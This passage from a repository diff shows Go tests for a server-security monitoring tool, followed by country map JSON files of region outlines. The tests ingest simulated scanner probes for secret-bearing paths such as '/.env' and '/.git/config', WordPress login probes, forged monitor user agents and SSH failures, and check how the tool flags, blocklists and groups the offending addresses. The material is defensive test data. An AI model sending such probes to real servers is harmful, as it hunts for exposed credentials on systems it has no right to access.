st.Ingest(core.Event{Time: now, IP: "1.1.1.1", Cat: core.Scanner, Source: "traefik", Method: "GET", Path: "/.env", Status: 404, UA: "curl/8"})
// a forged monitor, hostile enough to be listed
for i := 0; i < 7; i++ {
st.Ingest(core.Event{Time: now.Add(-time.Duration(i) * time.Minute), IP: "9.9.9.9", Cat: core.Exploit, Strong: true, Forged: true, Source: "traefik",
Method: "GET", Path: "/.git/config", Status: 404, UA: "Uptime-Kuma/1.0", Domain: "a.example"})
}
// SSH failures with an admin user among them
for _, u := range []string{"root", "lucas", "root"} {
st.Ingest(core.Event{Time: now, IP: "9.9.9.9", Cat: core.SSHFail, Source: "ssh", User: u})
}
// three addresses doing the same: a campaign
for _, ip := range []string{"20.0.0.1", "20.0.0.2", "20.0.0.3"} {
for _, p := range []string{"/wp-login.php", "/xmlrpc.php"} {
st.Ingest(core.Event{Time: now.Add(-time.Hour), IP: ip, Cat: core.Scanner, Source: "traefik", Method: "GET", Path: p, Status: 404, UA: "zgrab/0.x"})
}
}
h := New(Options{Token: userTok, Version: "t", Store: st})
auth := map[string]string{"Authorization": "Bearer " + userTok}
id := func(ip string) map[string]any {
return getJSON(t, h, "/api/v1/ip/"+ip, auth)["identity"].(map[string]any)
}
if id("66.249.66.1")["fcrdns_ok"] != true || id("6.6.6.6")["fcrdns_ok"] != false || id("1.1.1.1")["fcrdns_ok"] != nil {
t.Fatalf("fcrdns: %v %v %v", id("66.249.66.1"), id("6.6.6.6"), id("1.1.1.1"))
}
if calls == 0 || calls > 4 {
t.Fatalf("only claimants are verified: %d", calls)
}
d := getJSON(t, h, "/api/v1/ip/9.9.9.9", auth)
if d["tools"].(map[string]any)["forged"] != true {
t.Fatalf("forged: %v", d["tools"])
}
if getJSON(t, h, "/api/v1/ip/1.1.1.1", auth)["tools"].(map[string]any)["forged"] != false {
t.Fatal("forged must be false for others")
}
bl := d["blocklist"].(map[string]any)
since := bl["since"].(float64)
if bl["listed"] != true || since <= 0 || since > float64(now.Unix()) || since < float64(now.Add(-8*time.Minute).Unix()) {
t.Fatalf("blocklist %v", bl)
}
users := d["ssh"].(map[string]any)["users"].([]any)
adm := map[string]bool{}
for _, u := range users {
m := u.(map[string]any)
adm[m["user"].(string)] = m["admin"].(bool)
}
if len(adm) != 2 || !adm["lucas"] || adm["root"] {
t.Fatalf("ssh users %v", users)
}
rel := getJSON(t, h, "/api/v1/ip/20.0.0.1", auth)["related"].(map[string]any)
camps := rel["campaigns"].([]any)
if len(camps) != 1 || camps[0].(map[string]any)["ips_n"].(float64) != 3 {
t.Fatalf("campaigns %v", rel)
}
if rel["same_asn_n"] == nil || len(rel["same_prefix"].([]any)) != 2 {
t.Fatalf("related %v", rel)
}
var m map[string]any
w := do(h, "GET", "/api/v1/ip/9.9.9.9", cloneHdr(auth), nil)
json.Unmarshal(w.Body.Bytes(), &m)
if w.Code != http.StatusOK {
t.Fatal(w.Code)
}
}
+73
View File
@@ -0,0 +1,73 @@
package server
import (
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
"net/http/httptest"
"testing"
)
func TestUserStudySlotsAnd503(t *testing.T) {
s := &Server{user: make(chan struct{}, 2)}
for i := 0; i < 2; i++ {
if !s.userSlot(httptest.NewRecorder()) {
t.Fatal("slot refused too early")
}
}
w := httptest.NewRecorder()
if s.userSlot(w) || w.Code != 503 || w.Header().Get("Retry-After") == "" {
t.Fatalf("third study: %d %v", w.Code, w.Header())
}
<-s.user
if !s.userSlot(httptest.NewRecorder()) {
t.Fatal("a slot must free up")
}
}
func TestSortTargetsReturnsTheCutList(t *testing.T) {
var l []map[string]any
for i := 0; i < 30; i++ {
l = append(l, map[string]any{"n": i})
}
out := sortTargets(l)
if len(out) != 20 || out[0]["n"].(int) != 29 || out[19]["n"].(int) != 10 {
t.Fatalf("%d %v", len(out), out[0])
}
}
func TestActiveBansPairing(t *testing.T) {
b := func(t int64, jail string, un bool) store.BanEvent { return store.BanEvent{T: t, Jail: jail, Unban: un} }
reg := []store.BanEvent{b(1, "botsearch", false), b(2, "botsearch", true), b(3, "sshd", false), b(4, "sshd", true), b(5, "sshd", false), b(6, "sshd", false), b(7, "recidive", false)}
got := activeBans(reg, store.IPInfo{Jails: []string{"sshd", "recidive"}}, "h")
active := map[int64]bool{}
for _, x := range got {
if x.Active {
active[x.T] = true
}
}
// only the latest ban of each jail in force is active; an unbanned jail is not
if len(got) != 7 || len(active) != 2 || !active[6] || !active[7] {
t.Fatalf("%+v", got)
}
// both unbanned: nothing is active
for _, x := range activeBans(reg[:4], store.IPInfo{}, "h") {
if x.Active {
t.Fatal("unbanned jails are never active")
}
}
// an active ban that began before the window (or before the registry) is still listed
got = activeBans(nil, store.IPInfo{Jails: []string{"recidive"}, BanSince: 99}, "h")
if len(got) != 1 || !got[0].Active || got[0].T != 99 || got[0].Jail != "recidive" {
t.Fatalf("%+v", got)
}
// the registry says the jail was released but the record still holds the ban: the record wins
got = activeBans(reg[:4], store.IPInfo{Jails: []string{"sshd"}, BanSince: 50}, "h")
n := 0
for _, x := range got {
if x.Active {
n++
}
}
if n != 1 || got[len(got)-1].T != 50 {
t.Fatalf("%+v", got)
}
}
+1
View File
@@ -0,0 +1 @@
{"cc":"AD","bbox":[1.4065,42.4287,1.7651,42.6494],"w":3000,"h":2505,"main":[0,0,3000,2505],"proj":{"lon0":1.40646,"lat1":42.64936,"kx":8365.05082,"ky":11352.9546},"regions":[{"name":"Ordino","names":["Ordino","Parroquia d'Ordino","Ordino közösség"],"code":"AD-05","path":"M1143 0l454 312l11 174l0 102l-87 33l-112 34l-87 85l-56 109l-18 135l-81 -8l-112 -17l-143 -34l-118 -33l-75 -76l-50 -144l-43 -59l-88 -17l-93 0l-69 -59l129 -447l264 14l246 -95z","c":[1.524,42.604],"b":[376,0,1608,984]},{"name":"Canillo","names":["Canillo","Canillo közösség"],"code":"AD-02","path":"M1597 312l91 43l951 94l-72 230l135 86l194 60l104 151l-210 20l-153 149l-39 98l-56 -56l-81 -51l-87 -42l-31 -143l-32 -102l-118 51l-162 0l-174 25l-199 42l-280 0l-130 17l18 -135l56 -109l87 -85l112 -34l87 -33l0 -102z","c":[1.605,42.584],"b":[1248,312,3000,1243]},{"name":"Encamp","names":["Encamp","Parroquia d'Encamp"],"code":"AD-03","path":"M2598 1243l-54 138l-30 283l-79 95l-94 43l-101 1l-99 -36l-22 -35l-23 -10l-27 -138l-106 -93l-99 -51l-175 -17l-130 26l-112 -59l-25 -102l-62 -33l-106 8l0 -160l-6 -119l130 -17l280 0l199 -42l174 -25l162 0l118 -51l32 102l31 143l87 42l81 51z","c":[1.644,42.538],"b":[1248,849,2598,1803]},{"name":"La Massana","names":["La Massana","Massana","Parroquia de la Massana","La Massana közösség"],"code":"AD-04","path":"M191 613l185 -76l69 59l93 0l88 17l43 59l50 144l75 76l118 33l143 34l112 17l81 8l6 119l0 160l-106 0l-99 42l-119 26l-124 84l-131 76l-118 34l-112 59l-81 65l-29 -179l-147 -131l-188 25l28 -129l138 -241l1 -44l-70 -47l10 -107l47 -115z","c":[1.471,42.55],"b":[0,537,1254,1649]},{"name":"Sant Julià de Lòria","names":["Sant Julià de Lòria","Sant Julià de Lòria","Parroquia de Sant Julia de Loria","San Julián de Loria","Sant Julià de Lòria közösség"],"code":"AD-06","path":"M199 1769l165 -120l81 -65l112 -59l118 -34l13 101l6 68l31 110l50 50l143 34l112 42l155 -25l137 -17l87 17l-56 101l13 118l24 138l-236 31l-47 54l-36 65l-53 64l-96 54l-69 9l-506 -67l-96 -72l0 -142l-241 -378l141 -65z","c":[1.48,42.451],"b":[10,1491,1409,2505]},{"name":"Escaldes-Engordany","names":["Escaldes-Engordany","Parroquia d'Escaldes-Engordany","Escaldes-Engordany közösség"],"code":"AD-08","path":"M2096 1722l-25 13l-31 36l-90 306l-268 113l-292 38l-24 -138l-13 -118l56 -101l-87 -17l-137 17l-155 25l-112 -42l-143 -34l68 -42l100 -59l68 -118l50 -93l44 -59l93 -93l56 -93l106 -8l62 33l25 102l112 59l130 -26l175 17l99 51l106 93z","c":[1.594,42.495],"b":[775,1255,2096,2228]},{"name":"Andorra la Vella","label":{"pt":"Andorra-a-Velha","en":"Andorra la Vella"},"names":["Andorra la Vella","Parroquia d'Andorra la Vella","Andorra-a-Velha","Andorre-la-Vieille","Parochie Andorra la Vella","Stara Andora","Andorra la Vella közösség"],"code":"AD-07","path":"M1254 1263l-56 93l-93 93l-44 59l-50 93l-68 118l-100 59l-68 42l-50 -50l-31 -110l-6 -68l-13 -101l131 -76l124 -84l119 -26l99 -42z","c":[1.511,42.513],"b":[675,1263,1254,1820]}]}
+1
View File
@@ -0,0 +1 @@
{"cc":"AE","bbox":[51.5693,22.6209,56.3836,26.0748],"w":3000,"h":2362,"main":[0,0,3000,2362],"proj":{"lon0":51.56935,"lat1":26.07479,"kx":623.14485,"ky":683.97847},"regions":[{"name":"Emirate of Fujairah","label":{"pt":"Al Fujayrah","en":"Emirate of Fujairah"},"names":["Fujayrah","Emirate of Fujairah","Al Fujayrah","Al Foudjaïrah, Fudjayra","Al Fujayrah, Fujaira, Fujairah, Fujeira","Fuyaira","Fujaïrah","Fudschaira","Fujaira","Füceyre","Emiratet Fujairah","Fudżajra"],"code":"AE-FU","path":"M2976 553l2 -19l5 -6l17 -13l0 6l-5 41l-6 30l-2 96l-37 -8l-11 1l5 14l3 20l5 6l-3 20l-7 8l-5 19l-8 9l-10 -26l-48 -51l-8 -1l-3 -10l-4 -16l8 -51l0 -16l-4 -14l1 -5l3 -2l18 -2l8 -3l0 4l18 7l10 -5l26 -19zM2923 509l-16 12l-18 4l-5 -3l-1 -4l2 -4l-3 -2l-20 -6l-7 2l-5 3l-9 12l2 2l4 -1l6 2l6 6l13 0l1 2l-6 9l-15 11l-4 10l0 10l-9 9l-10 3l-25 -4l-11 4l-17 -3l-24 -2l2 -14l0 -4l-7 -21l16 -13l2 -10l-6 -7l-9 -4l12 -33l4 4l5 7l8 5l37 10l10 -3l8 -9l10 -3l2 -5l-1 -15l-7 -6l-9 1l-6 -2l-2 -6l-3 -3l2 -5l15 -16l6 -12l-4 -10l-8 -11l-6 -4l-5 0l-13 9l-4 1l-14 -1l-21 2l-15 -5l-11 -57l2 -10l5 -4l15 0l13 -5l15 -17l11 -8l3 -1l4 2l14 0l26 -7l8 -6l2 2l15 2l6 5l10 19l10 2l36 -9l13 8l25 8l5 7l13 47l-3 63l0 7l-3 1l-25 23l-29 19zM2957 795l-1 5l-3 7l-17 12l-4 4l-3 -8l-10 -8l4 -14l10 1l19 4z","c":[56.222,25.475],"b":[2740,285,3000,777]},{"name":"Emirate of Sharjah","label":{"pt":"Sharjah","en":"Emirate of Sharjah"},"names":["Sharjah","Emirate of Sharjah","Ash Shariqah","Ach Chârdjah","Chārdja","Ash Shārjah","Sharjah and Dependencies","Sharjah and Kalba","Charjah","Schardscha","Sharja","Sharjah Emirliği","Emiratet Sharjah","Szardża"],"code":"AE-SH","path":"M2978 534l-24 -5l-12 -18l-19 -2l8 -20l29 -19l25 -23l3 -1l2 18l0 5l-5 9l0 6l14 28l1 3l-17 13zM2960 761l-2 22l-12 -3l-9 -12l5 -19l7 -8l3 -20l-5 -6l-3 -20l-5 -14l11 -1l37 8l0 8l13 54l-34 4zM2746 754l-25 -4l-24 7l-22 13l-20 19l-19 24l-7 21l5 53l-2 38l1 13l3 7l-32 2l-48 -13l3 -8l3 -12l0 -21l-3 -21l-7 -29l-2 -36l-3 -14l-23 -57l9 -15l11 -10l4 -9l-18 -79l-8 -14l-10 -11l-44 -30l-10 -10l-25 -15l-16 -18l-26 9l-18 1l-33 -10l9 -10l6 -2l9 0l-3 -8l1 -8l4 -7l7 -5l6 6l13 -11l10 -15l15 10l19 7l21 4l53 3l8 -4l6 -10l8 -22l-3 -4l-44 -9l-23 -12l-10 -2l-8 -6l3 -4l6 -6l-7 -4l12 -19l1 -3l43 26l18 16l8 5l44 18l11 8l37 35l5 8l4 18l11 21l5 4l13 3l9 -1l13 -3l25 -11l2 -9l-5 -21l3 -4l11 0l10 15l9 -18l2 -16l3 -6l4 -3l4 0l14 6l-12 33l-5 4l-5 5l-1 8l8 17l7 21l0 4l-2 14l-6 10l-9 7l-6 9l1 7l10 12l6 10l0 3l-4 5l-14 34l-1 9l1 18l2 7l11 21zM2923 546l3 -3l6 0l9 6l-4 11l-12 5zM2863 699l8 1l48 51l10 26l1 6l3 11l-10 -1l-4 14l-31 -4l-6 -2l-5 -5l-3 -8l1 -14l4 -11l0 -5l-11 -27l-12 -20l0 -8z","c":[55.779,25.172],"b":[2340,384,2762,947]},{"name":"Emirate of Ras Al Khaimah","label":{"pt":"Ras al-Khaimah","en":"Emirate of Ras Al Khaimah"},"names":["Ras Al Khaymah","Emirate of Ras Al Khaimah","Ras al Khaima","Râs al Khaïmah","Rā's al Khayma","Ras al-Jaima","Ras el Khaïmah","Ra’s al-Chaima","Resü'l-Hayme","Emiratet Ras al-Khaimah","Ras al-Chajma","Rász el-Haima"],"code":"AE-RK","path":"M2907 521l1 11l2 7l4 6l-7 7l-16 8l-2 17l1 3l-8 3l-18 2l-3 2l-1 5l4 14l0 16l-8 51l4 16l3 10l-7 4l0 8l12 20l11 27l0 5l-4 11l-1 14l3 8l5 5l6 2l31 4l10 8l3 8l-20 20l-12 5l-23 3l-9 4l-1 0l-40 3l-34 -31l-16 -12l-5 -30l-8 -20l-17 -11l-1 0l-3 -21l-11 -21l-2 -7l-1 -18l1 -9l14 -34l4 -5l0 -3l-6 -10l-10 -12l-1 -7l6 -9l9 -7l6 -10l24 2l17 3l11 -4l25 4l10 -3l9 -9l0 -10l4 -10l15 -11l6 -9l-1 -2l-13 0l-6 -6l-6 -2l-4 1l-2 -2l9 -12l5 -3l7 -2l20 6l3 2l-2 4l1 4l5 3zM2855 284l1 1l-8 6l-26 7l-14 0l-4 -2l-3 1l-11 8l-15 17l-13 5l-15 0l-5 4l-2 10l11 57l15 5l21 -2l14 1l4 -1l13 -9l5 0l6 4l8 11l4 10l-6 12l-15 16l-2 5l3 3l2 6l6 2l9 -1l7 6l1 15l-2 5l-10 3l-8 9l-10 3l-37 -10l-8 -5l-5 -7l-4 -4l-14 -6l-4 0l-4 3l-3 6l-2 16l-9 18l-10 -15l-13 -16l-16 -15l-1 -6l5 -10l1 -7l-28 -32l-4 -8l-6 -41l-16 -55l-4 -6l-15 -4l-16 -15l8 -12l7 -5l13 -3l13 -10l19 -5l22 -18l34 -43l17 -14l-4 6l-4 14l-6 12l2 4l5 1l2 -2l9 -42l4 -6l26 -25l10 -15l4 -10l3 -12l-5 0l-2 6l-4 5l-10 7l16 -27l13 -29l14 -50l15 -1l31 -8l7 1l10 26l3 14l-5 33l-3 61l-4 10l-12 17l-3 10l3 12l14 19l3 9l-4 9l-15 13l-1 12l3 30z","c":[55.979,25.696],"b":[2603,0,2932,858]},{"name":"Emirate of Dubai","label":{"pt":"Dubai","en":"Emirate of Dubai"},"names":["Dubay","Emirate of Dubai","Dubayy","Dibay","Doubaï","Dubai, Dubayy","Dubai","Keamiran Dubai","Dubai Emirliği","Emiratet Dubai","Dubaj"],"code":"AE-DU","path":"M2868 855l0 1l-11 25l-13 16l-4 12l-5 7l-25 4l-2 0l0 -15l4 -14l15 -33l40 -3zM2331 536l9 -11l33 10l18 -1l26 -9l16 18l25 15l10 10l44 30l10 11l8 14l18 79l-4 9l-11 10l-9 15l23 57l3 14l2 36l7 29l3 21l0 21l-3 12l-3 8l-14 10l-69 28l-42 24l-19 7l-17 4l-132 5l-25 -5l-8 -10l-6 -14l-77 -220l-6 -7l3 -2l25 -14l-3 -14l20 -5l3 3l47 -55l63 -81l3 -11l0 -9l12 -11l10 1l9 14l3 9l-2 9l-9 13l18 -6l3 -12l-5 -15l-14 -28z","c":[55.344,24.951],"b":[2141,525,2562,1012]},{"name":"Fujairah","label":{"pt":"Zona Neutra","en":"Fujairah"},"names":["Neutral Zone","Zona Neutra","Zona neutral","Zone neutre","Neutrale Zone","Zona neutrale","Zona Netral","Tarafsız Bölge","Förenade ArabLine truncated
+1
View File
@@ -0,0 +1 @@
{"cc":"AF","bbox":[60.4868,29.3866,74.8923,38.4737],"w":3000,"h":2281,"main":[0,0,3000,2281],"proj":{"lon0":60.48678,"lat1":38.47367,"kx":208.25337,"ky":250.99272},"regions":[{"name":"Badakhshan","names":["Badakhshan","Badahšan","Badajshán","Badakhchan","Badachschan","Badachsjan","Badahşan Vilayeti","Badachszan"],"code":"AF-BDS","path":"M2224 609l1 4l-6 5l-7 12l-5 5l-4 20l-9 16l-10 6l-2 6l1 3l8 7l0 5l-10 13l-8 3l-6 -1l-5 6l0 11l2 4l1 10l-5 7l-27 -4l-7 -9l-4 -1l-6 9l-1 7l-4 4l-10 4l-7 -1l-1 -15l4 -15l-12 -14l-1 -7l-3 -5l-17 -7l-5 0l-7 3l-5 5l-5 1l-13 -2l2 -4l3 -30l4 -12l2 -1l4 -6l17 -10l3 -5l12 -6l2 -4l-8 -13l4 -8l-1 -2l4 -15l3 -5l0 -33l-5 -5l-19 0l-13 -5l-13 0l-20 -21l-21 -14l0 -13l-7 -25l1 -79l6 -3l4 -10l8 -4l6 -12l-8 -12l-10 -8l-1 -3l1 -11l-7 -24l1 -15l7 -14l-6 -1l-2 -3l0 -37l1 1l8 2l-1 -2l18 4l6 -2l9 -10l3 -9l5 0l3 -3l0 -6l6 -11l-3 -17l1 -2l-5 -8l0 -4l-11 -5l-4 -5l-3 -15l2 -7l4 4l5 1l10 -3l-3 -4l1 -4l15 -10l9 -12l10 -9l11 -6l16 -36l8 -3l3 -18l9 -2l9 -8l-4 -3l0 -2l3 -2l13 -1l2 -5l5 -2l15 1l5 -3l13 5l2 -2l1 -8l5 0l5 2l6 6l3 7l7 0l9 4l8 5l13 13l24 11l5 8l0 17l-5 18l-13 28l-4 15l1 3l5 1l12 8l8 -5l26 -9l7 1l7 4l6 7l-2 2l0 19l-3 5l-8 4l-1 5l2 13l-3 15l-5 10l-1 11l3 20l-5 19l2 20l-2 16l-8 12l1 7l-3 6l-2 25l6 14l1 16l16 28l1 12l2 5l5 9l7 7l8 4l10 3l10 0l11 -2l8 -4l60 -43l5 -6l8 -4l4 -6l11 -8l30 -10l15 3l7 -4l31 -4l21 -40l6 -8l9 -5l15 -4l4 -5l15 -9l15 -1l7 -6l6 -12l8 -6l9 0l10 -10l8 -4l10 0l7 3l13 -7l9 0l39 13l17 0l-3 23l-7 7l-16 4l-7 8l1 5l4 2l13 -2l6 6l7 -3l11 1l8 -8l13 -2l12 -5l48 -13l4 -4l0 -9l4 -3l16 0l3 -6l1 3l2 -2l5 1l5 6l16 0l14 5l23 -2l6 -3l26 16l6 6l10 15l6 4l-16 4l-7 -1l-8 -18l-5 -2l-4 5l-5 4l-5 1l-8 8l-4 -4l-22 4l-7 12l-7 3l-11 0l-1 5l10 10l13 6l9 13l5 2l2 4l-3 11l-3 1l-10 -10l-8 -1l-9 2l-5 5l-18 10l-10 8l-5 2l-17 -1l-3 3l-2 12l-14 6l-7 0l-12 -4l-23 -13l-13 -2l-28 -1l-27 4l-13 -2l-14 2l-10 -1l-10 4l-19 -2l-31 3l-11 6l-9 -3l-17 5l-49 0l-14 3l-10 5l-13 11l-14 0l-8 3l-9 0l-28 8l-4 6l4 9l-3 2l-20 4l-2 3l1 6l-3 3l-9 2l-7 6l-10 5l-8 8l-22 4l5 19l-6 4l-6 -1l-6 -7l-12 -8l-8 -1l-8 17l-6 5l-1 3l4 8l-17 6l-16 18l-17 8l-4 9l-16 9l-3 10z","c":[70.804,36.781],"b":[1982,0,3000,761]},{"name":"Takhar","names":["Takhar","Wilayat-e Takhar","Takar","Tahār","Tachar","Tahar Vilayeti"],"code":"AF-TAK","path":"M1981 230l1 1l0 37l2 3l6 1l-7 14l-1 15l7 24l-1 11l1 3l10 8l8 12l-6 12l-8 4l-4 10l-6 3l-1 79l7 25l0 13l21 14l20 21l13 0l13 5l19 0l5 5l0 33l-3 5l-4 15l1 2l-4 8l8 13l-2 4l-12 6l-3 5l-17 10l-4 6l-2 1l-13 -5l-7 -5l-1 8l-8 8l-4 2l-15 2l-12 5l-2 -3l-3 -1l-1 -20l-7 -10l0 -5l-7 -9l0 -5l-4 -8l-17 -16l-2 -29l-3 -5l-9 0l-3 -3l-1 -14l-4 -12l-2 -1l-5 5l-29 11l-14 11l-8 2l-8 0l-5 2l-1 -2l-4 0l-3 3l-8 -13l-7 -1l-2 -4l0 -4l-4 -11l0 -8l-5 -8l-6 -17l7 -5l0 -2l9 -8l6 -16l-2 -9l-3 -4l-2 0l0 -7l-3 -9l2 -1l0 -15l3 -3l10 -1l3 -3l2 -7l3 -36l-1 -10l1 -6l5 -6l-7 -9l1 -1l2 0l14 -11l11 -15l1 -3l-8 -3l2 -5l-7 -19l1 -8l-3 -2l0 -9l2 -9l6 -5l2 -5l14 -11l4 -10l4 -2l28 2l19 -5l10 4l19 -9l5 0l4 3l4 7l7 2z","c":[69.812,36.834],"b":[1804,215,2080,673]},{"name":"Kunduz","label":{"pt":"Konduz","en":"Kunduz"},"names":["Kunduz","Kondoz","Qonduz","Qunduz","Konduz","Kunduz Vilayeti"],"code":"AF-KDZ","path":"M1832 342l5 -1l7 9l-5 6l-1 6l1 10l-3 36l-2 7l-3 3l-10 1l-3 3l0 15l-2 1l3 9l0 7l2 0l3 4l2 9l-6 16l-9 8l0 2l-7 5l6 17l5 8l0 8l4 11l0 4l-3 -4l-3 -4l-23 -6l-17 -16l-19 -4l-8 5l-6 -1l-9 -7l-16 -22l-21 3l-17 -5l-47 -2l-5 -3l-10 -2l-7 -2l-4 -4l-2 -6l-1 -3l-12 -11l-17 -38l0 -15l-2 -10l1 0l21 -16l4 -1l7 -7l20 2l2 -3l-2 -11l2 -9l4 -3l12 3l5 -1l6 -5l-3 -6l25 -3l5 -7l16 -4l2 -6l3 -3l4 -1l-2 -5l2 -3l19 1l10 6l3 0l0 -8l-3 -7l1 -3l5 -2l4 1l7 11l5 1l1 -6l-6 -5l0 -4l16 2l4 2l7 9l3 9l13 9l6 11l25 17z","c":[68.682,36.904],"b":[1570,285,1844,546]},{"name":"Balkh","names":["Balkh","Balh","Mazar-i-Sharif","Mazar","Balj","Balch","Belh Vilayeti"],"code":"AF-BAL","path":"M1569 389l1 0l2 10l0 15l17 38l12 11l1 3l2 6l-17 7l-6 1l-51 -7l-30 -15l-4 0l-9 4l-26 -2l-3 1l-3 7l-20 10l-1 4l10 16l0 5l-8 25l-2 20l-8 10l0 10l-12 13l-20 5l-24 19l4 5l0 5l9 13l-2 10l-7 6l-3 6l-14 16l-16 10l-5 13l1 3l-11 6l-10 4l-24 2l-5 -6l-30 6l-4 -1l4 -14l6 -8l7 -4l8 -17l1 -12l-4 -28l-4 -4l0 -7l3 -4l0 -25l-2 -2l-7 0l-5 -2l-16 -11l15 -23l6 -14l1 -7l5 -9l15 -18l4 -8l-2 -6l-8 -2l-22 -5l-5 -4l-7 -8l-2 -17l-8 -7l-1 -3l4 -5l7 -3l11 2l3 -3l5 0l2 -4l-6 -16l0 -6l-16 -22l0 -11l8 -24l-2 -5l-13 -14l-3 -13l-5 -6l-9 -5l-20 -5l-1 -14l2 0l7 7l6 0l19 -5l8 7l14 -11l4 -1l11 0l13 6l9 1l6 -5l29 -1l20 -5l10 0l19 11l5 15l4 3l10 3l4 4l6 13l9 1l13 -7l10 -1l19 -15l4 -1l5 2l4 11l3 3l3 -1l2 -5l8 -3l14 6l12 0l4 2l3 8l-2 20l3 4l10 6l9 2l9 12l9 6z","c":[67.219,36.685],"b":[1200,273,1604,704]},{"name":"Jowzjan","names":["Jawzjan","Jowzjan","Wilayat-e Jowzjan","Jaozjan","Jozjan","Juzjan","Jouzjan","Shibarghan","Djôzdjân","Dschuzdschan","Cüzcan Vilayeti","Dżozdżan"],"code":"AF-JOW","path":"M1199 279l1 1l1 14l20 5l9 5l5 6l3 13l13 14l2 5l-8 24l0 11l16 22l0 6l6 16l-2 4l-5 0l-3 3l-11 -2l-7 3l-4 5l1 3l8 7l2 17l7 8l5 4l-8 4l-13 1l-16 5l-24 3l-20 2l-8 -3l-6 1l-14 7l-8 9l-19 3l-6 3l-28 23l-27 5l-11 0l-4 2l-2 3l2 15l-4 41l8 8l2 7l-3 12l2 3l30 -5l2 Line truncated
+1
View File
@@ -0,0 +1 @@
{"cc":"AG","bbox":[-62.3483,16.932,-61.6676,17.7277],"w":2639,"h":3233,"main":[1761,0,2639,3000],"proj":{"lon0":-62.34826,"lat1":17.72769,"kx":3877.57306,"ky":4062.59649},"regions":[{"name":"Saint Paul","names":["Saint Paul","Parish of Saint Paul","Parroquia de Saint Paul","Paroki Saint Paul"],"code":"AG-06","path":"M2412 2800l-30 15l-2 37l19 100l-29 48l-64 -31l-63 -57l-27 -31l-26 7l-80 39l-27 -66l12 -46l-27 -54l31 -33l87 -25l40 9l99 0l59 -17z","c":[-61.767,17.035],"b":[2068,2695,2412,3000]},{"name":"Saint Philip","names":["Saint Philip","Parish of Saint Philip","Parroquia de Saint Philip","Paroki Saint Philip","Saint Philip Paris"],"code":"AG-08","path":"M2456 2578l51 -1l53 -29l29 0l20 20l13 20l17 46l-26 -2l-53 4l-27 -2l36 45l34 22l19 21l-9 48l-44 70l-44 3l-50 -25l-63 -18l-28 -105l20 -79z","c":[-61.702,17.06],"b":[2384,2548,2639,2843]},{"name":"Saint Peter","names":["Saint Peter","Parish of Saint Peter","Parroquia de Saint Peter","Paroki Saint Peter"],"code":"AG-07","path":"M2295 2493l4 -37l10 -23l37 -52l22 35l30 20l38 7l44 -6l-19 21l-11 16l-16 11l-35 8l17 58l40 27l-52 38l-20 79l-59 17l-99 0l0 -46l28 -58l43 -17l-4 -41l-20 -33z","c":[-61.74,17.093],"b":[2226,2381,2480,2712]},{"name":"Saint George","names":["Saint George","Parish of Saint George","Parroquia de Saint George","Paroki Saint George"],"code":"AG-03","path":"M2152 2286l49 72l30 84l64 51l-22 24l20 33l4 41l-43 17l-28 58l-28 -12l-55 -38l8 -45l-12 -87l-32 -29l-4 -83l56 -4z","c":[-61.78,17.108],"b":[2103,2286,2297,2666]},{"name":"Saint John","names":["Saint John","Parish of Saint John","Parroquia de Saint John","Paroki Saint John"],"code":"AG-04","path":"M1869 2603l-28 -10l-80 -45l43 -41l68 -29l90 -27l-32 -54l7 -48l35 -42l56 -36l124 15l7 82l-56 4l4 83l32 29l12 87l-8 45l55 38l28 12l0 46l-40 -9l-87 25l-31 33l-20 -45l-59 66l15 -103l20 -46l-4 -12l-67 -17l-36 -33z","c":[-61.824,17.11],"b":[1761,2271,2226,2782]},{"name":"Saint Mary","names":["Saint Mary","Parish of Saint Mary","Parroquia de Saint Mary","Paroki Saint Mary"],"code":"AG-05","path":"M2110 2927l-53 9l-81 1l-51 -12l-123 -75l-26 -37l26 -56l17 -46l-14 -40l1 -35l63 -33l48 -32l36 33l67 17l4 12l-20 46l-15 103l59 -66l20 45l27 54l-12 46z","c":[-61.857,17.037],"b":[1776,2571,2110,2937]},{"name":"Barbuda","names":["Barbuda"],"code":"AG-10","path":"M1840 148l3 -79l14 14l6 13l6 31l24 50l61 74l21 43l-1 56l-15 49l0 38l45 26l19 -76l6 -104l-24 -91l-70 -39l-28 -45l19 -78l53 -30l78 100l-26 15l-27 12l51 19l82 -29l50 10l62 48l54 64l43 71l28 67l28 122l4 67l-7 63l-26 77l-27 13l-40 -3l-66 24l-25 -73l-69 -51l-171 -70l-50 27l-21 -58l-8 -166l-18 -75l-23 -62z","c":[-61.792,17.616],"b":[1840,0,2406,740]},{"name":"Redonda","names":["Redonda","Isla Redonda"],"code":"AG-11","path":"M0 3226l4 -15l10 -13l6 -2l0 24l-5 10l-10 3z","c":[-62.347,16.933],"b":[0,3196,20,3233]}]}
+1
View File
@@ -0,0 +1 @@
{"cc":"AI","bbox":[-63.4288,18.1691,-62.9257,18.6013],"w":5663,"h":5122,"main":[2663,3603,5663,5122],"proj":{"lon0":-63.42882,"lat1":18.60126,"kx":11255.72635,"ky":11850.73942},"regions":[{"name":"East End","names":["East End","Extremo Este","Extrémité Est"],"code":"AI-X02~","path":"M4675 3902l68 -12l-1 67l85 0l61 -89l119 -19l128 7l-3 78l-225 384l-22 28l5 -110l-86 0l63 -99l14 -48l-90 -56l-116 0zM5277 3835l44 -57l-24 -82l85 -33l34 -60l156 32l91 57l-71 29l-146 42l-27 40l-105 71z","c":[-62.985,18.262],"b":[4675,3603,5663,4346]},{"name":"Stoney Ground","names":["Stoney Ground"],"code":"AI-X10~","path":"M4569 3922l106 -20l0 131l116 0l90 56l-180 71l-134 -9l-70 188l-152 3l-15 31l-45 -38l103 -203l148 -5l40 -113z","c":[-63.037,18.239],"b":[4285,3902,4881,4373]},{"name":"North Side","names":["North Side","Lado norte","Kuzey Tarafı","Northside"],"code":"AI-X06~","path":"M4138 4213l69 -102l190 -158l172 -31l7 92l-40 113l-148 5l-103 203z","c":[-63.033,18.261],"b":[4138,3922,4576,4335]},{"name":"The Valley","names":["The Valley","El Valle"],"code":"AI-X13~","path":"M4008 4384l56 -61l74 -110l147 122l45 38l-32 66z","c":[-63.052,18.232],"b":[4008,4213,4330,4439]},{"name":"North Hill","names":["North Hill"],"code":"AI-X05~","path":"M3950 4448l58 -64l290 55l-161 89l-90 -4l-74 38l4 -50z","c":[-63.074,18.224],"b":[3950,4384,4298,4562]},{"name":"Sandy Ground","names":["Sandy Ground"],"code":"AI-X07~","path":"M3732 4607l128 -62l90 -97l27 64l-4 50l-34 18z","c":[-63.081,18.219],"b":[3732,4448,3977,4607]},{"name":"South Hill","names":["South Hill","Południowe wzgórze"],"code":"AI-X09~","path":"M3445 4660l287 